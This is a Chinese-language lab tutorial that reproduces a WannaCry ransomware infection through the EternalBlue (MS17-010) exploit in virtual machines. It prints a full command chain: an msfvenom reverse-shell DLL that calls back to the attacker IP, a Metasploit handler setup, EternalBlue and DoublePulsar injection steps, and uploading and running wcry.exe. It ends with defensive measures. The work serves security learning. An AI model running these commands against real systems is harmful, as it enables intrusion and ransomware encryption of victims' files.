[系统安全] 二十五.WannaCry勒索病毒分析 (1)Python复现永恒之蓝漏洞实现勒索加密

您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列。因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全、逆向分析和恶意代码检测,“系统安全”系列文章会更加聚焦,更加系统,更加深入,也是作者的慢慢成长史。换专业确实挺难的,逆向分析也是块硬骨头,但我也试试,看看自己未来四年究竟能将它学到什么程度,漫漫长征路,偏向虎山行。享受过程,一起加油~

作者前文介绍了逆向分析之OllyDbg动态调试工具,包括INT3断点、反调试、硬件断点和内存断点。这篇文章将分享新知识,最近WannaRen勒索软件爆发(下图是安天的分析攻击流程),其名称和功能与WannaCry相似,所以接下来作者将连续分享WannaCry勒索病毒的复现及分析,第一篇文章将采用Github资源实现永恒之蓝漏洞利用及Windows7系统文件加密。

注意,这篇文章介绍的WannaCry复现过程十分繁琐,仅推荐大家理解一个漏洞利用的基本过程,Python是如何构建shellcode代码攻击的,以及双星脉冲漏洞、dll文件的设置与后续逆向分析均有关。而下一篇文章是直接使用Metasploit中的MS17-010漏洞实现勒索,更简洁的给出永恒之蓝漏洞的利用过程。希望这系列文章对您有所帮助~

在这里插入图片描述

作者的github资源:

从2019年7月开始,我来到了一个陌生的专业——网络空间安全。初入安全领域,是非常痛苦和难受的,要学的东西太多、涉及面太广,但好在自己通过分享100篇“网络安全自学”系列文章,艰难前行着。感恩这一年相识、相知、相趣的安全大佬和朋友们,如果写得不好或不足之处,还请大家海涵!

接下来我将开启新的安全系列,叫“系统安全”,也是免费的100篇文章,作者将更加深入的去研究恶意样本分析、逆向分析、内网渗透、网络攻防实战等,也将通过在线笔记和实践操作的形式分享与博友们学习,希望能与您一起进步,加油~

前文分析:

声明:本人坚决反对利用教学方法进行犯罪的行为,一切犯罪行为必将受到严惩,绿色网络需要我们共同维护,更推荐大家了解它们背后的原理,更好地进行防护。该样本不会分享给大家,分析工具会分享。(参考文献见后)


一.WannaCry背景

2017年5月12日,WannaCry蠕虫通过永恒之蓝MS17-010漏洞在全球范围大爆发,感染大量的计算机。WannaCry勒索病毒全球大爆发,至少150个国家、30万名用户中招,造成损失达80亿美元,已影响金融、能源、医疗、教育等众多行业,造成严重的危害。

WannaCry是一种“蠕虫式”勒索病毒软件,由不法分子利用NSA泄露方程式工具包的危险漏洞“EternalBlue”(永恒之蓝)进行传播。该蠕虫感染计算机后会向计算机中植入敲诈者病毒,导致电脑大量文件被加密。

WannaCry利用Windows系统的SMB漏洞获取系统的最高权限,该工具通过恶意代码扫描开放445端口的Windows系统。被扫描到的Windows系统,只要开机上线,不需要用户进行任何操作,即可通过共享漏洞上传WannaCry勒索病毒等恶意程序。

在这里插入图片描述

WannaCry利用永恒之蓝漏洞进行网络端口扫描攻击,目标机器被成功攻陷后会从攻击机下载WannaCry木马进行感染,并作为攻击机再次扫描互联网和局域网的其他机器,行成蠕虫感染大范围超快速扩散。

木马母体为mssecsvc.exe,运行后会扫描随机IP的互联网机器,尝试感染,也会扫描局域网相同网段的机器进行感染传播,此外会释放敲诈者程序tasksche.exe,对磁盘文件进行加密勒索。

木马加密使用AES加密文件,并使用非对称加密算法RSA 2048加密随机密钥,每个文件使用一个随机密钥,理论上不可破解。同时@[email protected]显示勒索界面。其核心流程如下图所示:

在这里插入图片描述

WannaCry勒索病毒主要行为是传播和勒索。

  • 传播:利用基于445端口的SMB漏洞MS17-010(永恒之蓝)进行传播
  • 勒索:释放文件,包括加密器、解密器、说明文件、语言文件等;内存加载加密器模块,加密执行类型文件,全部加密后启动解密器;解密器启动后,设置桌面背景显示勒索信息,弹出窗口显示付款账号和勒索信息

二.实验环境搭建

实验环境:

  • 攻击机1:Kali-linux-2019.2 IP:192.168.44.138
  • 攻击机2:Win-server-2003 IP:192.168.44.131
  • 受害主机:Win7 64位 IP:192.168.44.132

实验工具:

实验步骤:

  • 配置Windows Server 2003、Kali、Windows7实验环境
  • Kali检测受害主机445端口(SMB协议)是否开启
  • 运行永恒之蓝Python脚本
  • 利用DLL后门文件进行Doublepulsar注入
  • Metaploit获取受害主机的shell
  • 运行wcry.exe母体程序,实现勒索和文件加密

切记、切记、切记:实验复现过程中必须在虚拟机中完成,运行之前关闭虚拟机Win7文件共享,真机上一旦被感染你就真的只能想哭了(wannacry)


1.安装Win7系统和Win server 2003系统

创建虚拟机并安装Windows7 x64位操作系统。

在这里插入图片描述

安装系统如下:

在这里插入图片描述

Win7设置开启445端口,同时关闭防火墙。注意,关闭虚拟机文件共享功能。

在这里插入图片描述

安装Windows Server 2003系统,其IP地址为192.168.44.131。

在这里插入图片描述

保证攻击机1、攻击机2和受害机相互通讯,均在同一个局域网中。

  • 攻击机1:Kali-linux-2019.2 IP:192.168.44.138
  • 攻击机2:Win-server-2003 IP:192.168.44.131
  • 受害主机:Win7 64位 IP:192.168.44.132

在这里插入图片描述

在这里插入图片描述


2.Windows Server 2003系统中配置Python环境

第一步,下载实验相关工具。

在这里插入图片描述

在这里插入图片描述


第二步,安装Python2.6,配置环境变量。

在这里插入图片描述

在这里插入图片描述


第三步,傻瓜式安装Python32-221.win32-py2.6。

在这里插入图片描述

在这里插入图片描述


第四步,安装Shadowbroker-master。在Windows文件夹中新建文件夹logs和listeningposts,用记事本打开Windows文件夹中的Fuzzbunch.xml文件,并修改ResourcesDir和LOogDir的路径。

在这里插入图片描述

修改ResourcesDir和LOogDir路径为:C:\test\windows\Resources和logs。

在这里插入图片描述


第五步,运行永恒之蓝工具,若出现以下界面则工具安装成功。

  • python c:\test\windows\fb.py

在这里插入图片描述



三.Kali生成DLL攻击文件

第一步,扫描靶机是否开启445端口。

  • nmap -sS 192.168.44.132

在这里插入图片描述


第二步,使用msfvenom工具生成后门文件abc.dll。

  • msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.44.138 LPORT=6666 -f dll > abc.dll
  • -p指定使用模块类型,LSHOT指定本地IP,LPORT指定本地端口,-f指定文件类型

在这里插入图片描述


第三步,上传dll文件到攻击机2(Windows Server 2003)中,这里使用wmvare tools复制或Xshell软件实现。

在这里插入图片描述



四.利用永恒之蓝漏洞获取shell

1.Win Server配置永恒之蓝

第一步,在CMD中运行“永恒之蓝”,设置受害主机IP、攻击机IP、是否重定向,新建项目名称。

  • 默认目标IP地址:Default Targer IP Address,靶机IP
  • 默认回弹IP地址:Default Callback IP Address,攻击机1IP地址
  • 是否使用重定向:Use Rdirection [yes] :no
  • 新建项目:Create a New Project
  • 新建项目命名:New Project Name:test1
  • 其他选项,全部默认,直接enter即可

在这里插入图片描述


第二步,加载永恒之蓝模块,获取受害主机的系统权限。

  • 加载永恒之蓝:use Eternalblue
  • 设置受害主机操作系统:Windows7 x64
  • 模式mode:选择FB(该模式下进行交互性参数输入)
  • 其他大部分为确认信息,参数可设置为默认或自行修改

在这里插入图片描述

设置攻击参数和操作系统等信息。

在这里插入图片描述

当我们看到WIN和Eternalblue Succeeded信息,表示受害机的权限获取成功。

在这里插入图片描述

在这里插入图片描述

fb.py源代码为:

#!/usr/bin/python2.6
import code
import os
import sys

from fuzzbunch import env

"""
Set up core paths

"""
(FB_FILE, FB_DIR, EDFLIB_DIR) = env.setup_core_paths( os.path.realpath(__file__))

""" 
Make sure our libraries are setup properly 
"""
#env.setup_lib_paths(os.path.abspath(__file__), EDFLIB_DIR)

"""
Plugin directories
"""
PAYLOAD_DIR = os.path.join(FB_DIR, "payloads")
EXPLOIT_DIR = os.path.join(FB_DIR, "exploits")
TOUCH_DIR   = os.path.join(FB_DIR, "touches")
IMPLANT_DIR = os.path.join(FB_DIR, "implants")
LP_DIR      = os.path.join(FB_DIR, "listeningposts")
EDE_DIR     = os.path.join(FB_DIR, "ede-exploits")
TRIGGER_DIR = os.path.join(FB_DIR, "triggers")
SPECIAL_DIR = os.path.join(FB_DIR, "specials")

"""
Fuzzbunch directories
"""
LOG_DIR    = os.path.join(FB_DIR, "logs")
FB_CONFIG = os.path.join(FB_DIR, "Fuzzbunch.xml")

from fuzzbunch.edfplugin import EDFPlugin
#from fuzzbunch.edeplugin import EDEPlugin
from fuzzbunch.fuzzbunch import Fuzzbunch
from fuzzbunch.pluginfinder import addplugins, PluginfinderError
from fuzzbunch import exception
from fuzzbunch.daveplugin import DAVEPlugin
from fuzzbunch.deployablemanager import DeployableManager

def do_interactive(fb):
    gvars = globals()
    gvars['quit'] = (lambda *x: fb.io.print_error("Press Ctrl-D to quit"))
    gvars['exit'] = gvars['quit']
    fb.io.print_warning("Dropping to Interactive Python Interpreter")
    fb.io.print_warning("Press Ctrl-D to exit")
    code.interact(local=gvars, banner="")

def main(fb):
    #fb.printbanner()
    fb.cmdqueue.append("retarget")
    while 1:
        try:
            fb.cmdloop()
        except exception.Interpreter:
            do_interactive(fb)
        else:
            break

def load_plugins(fb):
    fb.io.pre_input(None)
    fb.io.print_msg("Loading Plugins")
    fb.io.post_input()
    addplugins(fb, "Exploit",       EXPLOIT_DIR, EDFPlugin)
    addplugins(fb, "Payload",       PAYLOAD_DIR, EDFPlugin)
    addplugins(fb, "Touch",         TOUCH_DIR,   EDFPlugin)
    addplugins(fb, "ImplantConfig", IMPLANT_DIR, EDFPlugin)
    addplugins(fb, "ListeningPost", LP_DIR,      EDFPlugin)
    addplugins(fb, "Special",       SPECIAL_DIR, DAVEPlugin, DeployableManager)
    #    addplugins(fb, "EDE-Exploit",   EDE_DIR,     EDEPlugin)
    #    addplugins(fb, "Trigger",       TRIGGER_DIR, EDFPlugin)

@exception.exceptionwrapped
def setup_and_run(config, fbdir, logdir):
    # Setup fb globally so that we can debug interactively if we want
    global fb
    fb = Fuzzbunch(config, fbdir, logdir)
    fb.printbanner()
    load_plugins(fb)
    main(fb)

if __name__ == "__main__":
    setup_and_run(FB_CONFIG, FB_DIR, LOG_DIR)



2.Kali反弹shell

接着设置Kali系统,通过Metasploit等待返回的shell,具体步骤如下:

  • 加载msfconsole
  • 使用handle操作,命令为:use exploit/multi/handler
  • 设置Paylod,命令为:set payload windows/x64/meterpreter/reverse_tcp
  • 设置本地IP地址,命令为:set LHOST 192.168.44.138
  • 设置本地端口,命令为:set LPORT 6666
  • 开启监听run

在这里插入图片描述



3.实现Doublepulsar注入

接下来Kali处于监听状态,我们在Windows Server 2003中进行Doublepulsar注入(双倍脉冲)。具体流程如下:

第一步,输入use Doublepulsar加载双倍脉冲注入。

在这里插入图片描述


第二步,设置相关参数,包括选择SMB协议,后门利用方法为RunDLL。

  • 选择协议:SMB
  • 后门方法:RunDll
  • 设置DLL路径为:C:\abc.dll
  • 默认操作输入Enter键

在这里插入图片描述

注入成功后显示“Doublepulsar succeeded”。

在这里插入图片描述

在这里插入图片描述


第三步,返回kali查看meterpreter,此时成功获取受害机shell。

  • dir
  • getuid

在这里插入图片描述


第四步,在Kali中查看Win7系统盘目录如下图所示。

在这里插入图片描述



五.上传勒索病毒并实现攻击

第一步,在Kali中上传勒索病毒程序wcry.exe至受害主机。

  • upload /root/wcry.exe c:\

在这里插入图片描述

在这里插入图片描述

上传之后如下图所示:

在这里插入图片描述

在这里插入图片描述


注意,如果程序运行时间长,可能需要重新执行相关命令,我们再重新回顾下这些核心命令。

Kali

在这里插入图片描述

Win Server

在这里插入图片描述


第二步,获取受害主机shell,如果出现中文乱码输入“chcp 65001”设置编码。接着我们运行Win7上面的病毒程序wcry.exe。

  • shell
  • chcp 65001
  • dir
  • wcry.exe

在这里插入图片描述

运行前的受害主机界面如下图所示:

在这里插入图片描述

运行病毒程序后的界面如下图所示,已经成功被勒索。再次强调,所有代码必须在虚拟机中执行,并且关闭文件共享。

在这里插入图片描述

加密系统中的文件,被加密的文件后缀名统一修改为“.WNCRY”。

  • b.wnry: 中招敲诈者后桌面壁纸
  • c.wnry: 配置文件,包含洋葱域名、比特币地址、tor下载地址等
  • f.wnry: 可免支付解密的文件列表
  • r.wnry: 提示文件,包含中招提示信息
  • s.wnry: zip文件,包含Tor客户端
  • t.wnry: 测试文件
  • u.wnry: 解密程序

在这里插入图片描述

在这里插入图片描述



六.防御措施

勒索软件防御常见的措施如下:

  • 开启系统防火墙
  • 关闭445、139等端口连接
  • 开启系统自动更新,下载并更新补丁,及时修复漏洞
  • 安装安全软件,开启主动防御进行拦截查杀
  • 如非服务需要,建议把高危漏洞的端口都关闭,比如138、139、445、3389等

由于WannaCry勒索病毒主要通过445端口入侵计算机,关闭的方法如下:

  • 控制面板–>windows防火墙—>高级选项–>入站规则
  • 新建规则–>选择端口–>指定端口号445
  • 选择阻止连接–>配置文件全选–>规则名称–>成功关闭

实验在虚拟机中进行,也需要关闭共享文件夹功能,如下图所示。

在这里插入图片描述



七.总结

写到这里,这篇WannaCry勒索病毒复现和分析的文章就介绍结束了,希望对您有所帮助。同时,您可能感觉到了调用别人的Python资源方法比较繁琐,我们是否能直接调用MS17-010,再上传勒索病毒实现攻击呢?并且作者后续会深入地逆向分析该勒索病毒的原理及调用关系,也推荐大家阅读参考文献大佬们的文章。继续加油~

在这里插入图片描述

这篇文章中如果存在一些不足,还请海涵。作者作为网络安全初学者的慢慢成长路吧!希望未来能更透彻撰写相关文章。同时非常感谢参考文献中的安全大佬们的文章分享,感谢师傅、师兄师弟、师姐师妹们的教导,深知自己很菜,得努力前行。

欢迎大家讨论,是否觉得这系列文章帮助到您!如果存在不足之处,还请海涵。任何建议都可以评论告知读者,共勉~

2020年8月18新开的“娜璋AI安全之家”,主要围绕Python大数据分析、网络空间安全、人工智能、Web渗透及攻防技术进行讲解,同时分享CCF、SCI、南核北核论文的算法实现。娜璋之家会更加系统,并重构作者的所有文章,从零讲解Python和安全,写了近十年文章,真心想把自己所学所感所做分享出来,还请各位多多指教,真诚邀请您的关注!谢谢。

(By:Eastmount 2021-02-27 晚上11点夜于武汉 http://blog.csdn.net/eastmount )


参考文献:

猜你喜欢

转载自blog.csdn.net/Eastmount/article/details/114194949